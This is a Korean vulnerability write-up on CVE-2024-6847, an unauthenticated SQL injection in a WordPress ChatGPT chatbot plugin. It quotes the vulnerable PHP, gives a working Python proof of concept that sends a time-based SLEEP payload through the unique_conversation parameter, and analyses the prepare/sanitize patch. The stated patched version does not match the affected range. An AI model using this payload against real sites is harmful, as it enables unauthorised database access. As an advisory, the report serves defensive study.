[CVE-2024-6847] 취약점 분석 보고서
💡 요약
CVE-2024-6847은 Chatbot with ChatGPT라는 워드프레스 플러그인 버전 2.4.4 이하에서 발견된 SQL Injection취약점입니다. 해당 취약점은 사용자가 제출한 메세지를 SQL문에 사용할 때 적절한 파라미터 검증과 이스케이프 처리가 이루어지지 않아 발생합니다. 이를 통해 인증되지 않은 사용자가 챗봇에 메시지를 제출할 때 악의적인 SQL 쿼리를 삽입하여 데이터베이스에 접근하거나 조작할 수 있습니다.
1. 취약점 개요
- 취약점 번호: CVE-2024-6847
- 영향 받는 버전: Chatbot with ChatGPT 2.4.4 이하
- 취약점 유형: SQL Injection
- CVSS: 9.8
- 취약점 패치 버전: 3.2.16
해당 취약점은 WordPress의 Chatbot with ChatGPT 에서 발견된 SQL Injection 취약점입니다.
해당 취약점은 사용자가 챗봇에게 메세지를 전송할 때 unique_conversation
파라미터의 검증과 이스케이프 처리가 이루어지지 않아 발생하는 SQL Injection 취약점 입니다.
2. 취약점 상세
2.1 취약점 원인
wdgpt_log_chat 함수
```php public function wdgpt_log_chat( $answer, $post_ids, $unique_conversation ) { $messages = $this->wdgpt_get_last_two_messages(); $messages[] = array( 'role' => 'assistant', 'content' => $answer, ); $now = current_time( 'mysql' ); $post_id = implode( ',', $post_ids ); global $wpdb; $existing_entry = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = '$unique_conversation'" ); if ( $existing_entry ) { $existing_post_ids = explode( ',', $existing_entry->post_ids ); $new_post_ids = array_unique( array_merge( $existing_post_ids, $post_ids ) ); $wpdb->update( $wpdb->prefix . 'wdgpt_logs', array( 'post_ids' => implode( ',', $new_post_ids ), 'created_at' => $now, ), array( 'unique_id' => $unique_conversation ) ); $log_id = $wpdb->get_var( "SELECT id FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = '$unique_conversation'" ); } else { $wpdb->insert( $wpdb->prefix . 'wdgpt_logs', array( 'post_ids' => $post_id, 'created_at' => $now, 'unique_id' => $unique_conversation, ) ); $log_id = $wpdb->insert_id; } foreach ( $messages as $message ) { $this->wdgpt_insert_log_message( $message, $log_id ); } } ```wdgpt_log_chat
함수에서 인자로 받아오는 unique_conversation
변수를 적절한 이스케이프 없이 sql 쿼리에 직접 사용하고 있기 때문에 SQL Injection이 발생합니다.
1
2
3
4
5
6
7
public function wdgpt_log_chat( $answer, $post_ids, $unique_conversation ) {
...
$existing_entry = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = '$unique_conversation'" );
...
$log_id = $wpdb->get_var( "SELECT id FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = '$unique_conversation'" );
...
}
wdgpt_log_chat 함수
```php function wdgpt_retrieve_prompt( $request ) { try { $params = json_decode( $request->get_body(), true ); $question = $params['question']; $conversation = $params['conversation']; $unique_conversation = $params['unique_conversation']; $answer_generator = new WDGPT_Answer_Generator( $question, $conversation ); $answer_parameters = $answer_generator->wdgpt_retrieve_answer_parameters(); header( 'Content-type: text/event-stream' ); header( 'Cache-Control: no-cache' ); // Check if $answer_parameters is an empty array. if ( empty( $answer_parameters ) ) { echo 'event: error' . PHP_EOL; echo 'data: ' . __( 'Currently, there appears to be an issue. Please try asking me again later.', 'webdigit-chatbot' ) . PHP_EOL; ob_flush(); flush(); return '0'; } $api_key = $answer_parameters['api_key']; $temperature = $answer_parameters['temperature']; $messages = json_decode( json_encode( $answer_parameters['messages'], JSON_INVALID_UTF8_SUBSTITUTE ) ); $max_tokens = $answer_parameters['max_tokens']; $model_type = $answer_parameters['model_type']; $top_summaries_post_ids = $answer_parameters['top_summaries_post_ids']; $openai = new OpenAi( $api_key ); $answer = ''; $chat = json_decode( $openai->chat( array( 'model' => $model_type, 'messages' => $messages, 'temperature' => floatval( $temperature ), 'max_tokens' => $max_tokens, 'stream' => true, ), function ( $ch, $data ) use ( &$answer, $answer_generator ) { $obj = json_decode( $data ); // Vérifiez si $obj est un objet et s'il a la propriété 'error' et si la propriété 'message' n'est pas vide. if ( is_object( $obj ) && property_exists( $obj, 'error' ) && ! empty( $obj->error->message ) ) { $answer_generator->wdgpt_insert_error_log_message( $obj->error->message, 0, 'stream_error' ); } else { echo $data; $result = explode( 'data: ', $data ); foreach ( $result as $res ) { if ( '[DONE]' !== $res ) { $arr = json_decode( $res, true ); if ( isset( $arr['choices'][0]['delta']['content'] ) ) { $answer .= $arr['choices'][0]['delta']['content']; } } } // echo PHP_EOL; ob_flush(); flush(); return strlen( $data ); } } ) ); $pattern = '/\[(.*?)\]\((.*?)\)/'; $replacement = '<a href=\"$2\" target=\"_blank\">$1</a>'; $transformed_string = preg_replace( $pattern, $replacement, $answer ); $transformed_string = str_replace( "\n", '', $transformed_string ); $answer_generator->wdgpt_log_chat( $transformed_string, $top_summaries_post_ids, $unique_conversation ); return '0'; } catch ( Exception $e ) { return __( 'There is currently an error with the chatbot. Please try again later.', 'webdigit' ); } } ```
또한 wdgpt_log_chat
함수를 호출하는 함수인 wdgpt_retrieve_prompt
함수에서도 적절한 이스케이프 없이 wpgpt_log_chat
함수로 전달하고 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function wdgpt_retrieve_prompt( $request ) {
try {
$params = json_decode( $request->get_body(), true );
$question = $params['question'];
$conversation = $params['conversation'];
$unique_conversation = $params['unique_conversation'];
$answer_generator = new WDGPT_Answer_Generator( $question, $conversation );
$answer_parameters = $answer_generator->wdgpt_retrieve_answer_parameters();
...
$answer_generator->wdgpt_log_chat( $transformed_string, $top_summaries_post_ids, $unique_conversation );
return '0';
} catch ( Exception $e ) {
return __( 'There is currently an error with the chatbot. Please try again later.', 'webdigit' );
}
}
따라서 사용자는 unique_conversation
매개변수를 통해 SQL Injection을 수행할 수 있게 됩니다.
3. PoC
3.1 PoC 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import time
url = "http://localhost:8081/wp-json/wdgpt/v1/retrieve-prompt"
payload = "mlg4w8is9cnlxonnq78' AND (SELECT 1 FROM (SELECT SLEEP(7))A) AND '1'='1"
conversation_data = [
{
"text": "Test",
"role": "user",
"date": "2025-01-24T12:16:42.179Z"
}
]
headers = {
"Content-Type": "text/plain;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
data = {
"question": "test sql injection",
"conversation": conversation_data,
"unique_conversation": payload
}
start_time = time.time()
response = requests.post(url, json=data, headers=headers)
end_time = time.time()
response_time = end_time - start_time
if response_time > 7:
print(f"SQL Injection successful. Response delay: {response_time:.2f} seconds.")
else:
print("SQL Injection not successful or server did not delay.")
print(response.text)
3.2 주요 기능
URL:
url
변수에는 요청을 보내야 할 API 엔드포인트가 포함됩니다. 여기서는http://localhost:8081/wp-json/wdgpt/v1/retrieve-prompt
를 사용합니다.Payload:
payload
변수는 SQL 인젝션 페이로드입니다. 이는unique_conversation
값에 삽입되며,SLEEP(7)
을 사용하여 서버의 응답을 7초 동안 지연시킵니다.Headers: 요청의 헤더 정보입니다. 일반적인 HTTP 요청을 위해 필요한 정보를 설정합니다.
Data: 요청 본문에 포함될 데이터를 구성하는 부분으로,
question
,conversation
, 그리고 악성 SQL 인젝션 페이로드가 포함된unique_conversation
값이 포함됩니다.Response Time: 서버의 응답 시간을 측정하여
SLEEP(7)
이 실행되었는지 확인합니다. 응답 시간이 7초 이상일 경우, SQL 인젝션 공격이 성공적으로 실행되었음을 나타냅니다.
결과 확인
성공적인 SQL 인젝션: 만약 서버가 7초 이상 지연된 응답을 보낸다면, 이는 SQL 인젝션이 성공적으로 이루어졌다는 신호입니다. 이 경우
SQL Injection successful
메시지가 출력됩니다.실패한 SQL 인젝션: 응답 지연 시간이 7초 이하일 경우, SQL 인젝션이 성공하지 않았거나 서버가 이를 방어했다는 것을 의미합니다.
4. 패치 내용 및 변경사항 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
diff --git a/path/to/file.php b/path/to/file.php
index 1234567..89abcde 100644
--- a/path/to/file.php
+++ b/path/to/file.php
@@ 기존 DB 쿼리 부분
- $existing_entry = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = '$unique_conversation'" );
+ $existing_entry = $wpdb->get_row( $wpdb->prepare(
+ "SELECT * FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = %s",
+ $unique_conversation
+ ) );
@@ 사용자 입력 sanitization 부분
- $question = $params['question'];
- $conversation = $params['conversation'];
- $unique_conversation = $params['unique_conversation'];
+ $question = sanitize_text_field( $params['question'] );
+ $conversation = array_map(function($conv) {
+ return [
+ 'text' => sanitize_text_field( $conv['text'] ),
+ 'role' => sanitize_text_field( $conv['role'] ),
+ 'date' => sanitize_text_field( $conv['date'] )
+ ];
+ }, $params['conversation']);
+ $unique_conversation = sanitize_text_field( $params['unique_conversation'] );
SQL Injection 취약점을 해결하기 위해, 다음과 같은 수정이 이루어졌습니다.
4.1 prepare()
사용
수정된 코드는 SQL 쿼리에서 wpdb->prepare()
를 사용하여 unique_conversation
값을 안전하게 처리합니다. 이 메서드는 SQL 쿼리 내에 사용될 변수를 안전하게 escaping 처리하여 SQL 인젝션을 방지합니다.
1
2
3
4
$existing_entry = $wpdb->get_row( $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}wdgpt_logs WHERE unique_id = %s",
$unique_conversation
));
4.2 sanitize_text_field()
사용
또한, unique_conversation
값은 입력받은 후 sanitize_text_field()
함수로 처리됩니다. 이 함수는 텍스트 필드에서 불필요한 HTML 태그나 특수 문자를 제거하여, 악의적인 스크립트나 SQL 쿼리를 삽입할 수 없도록 만듭니다.
1
$unique_conversation = sanitize_text_field($params['unique_conversation']);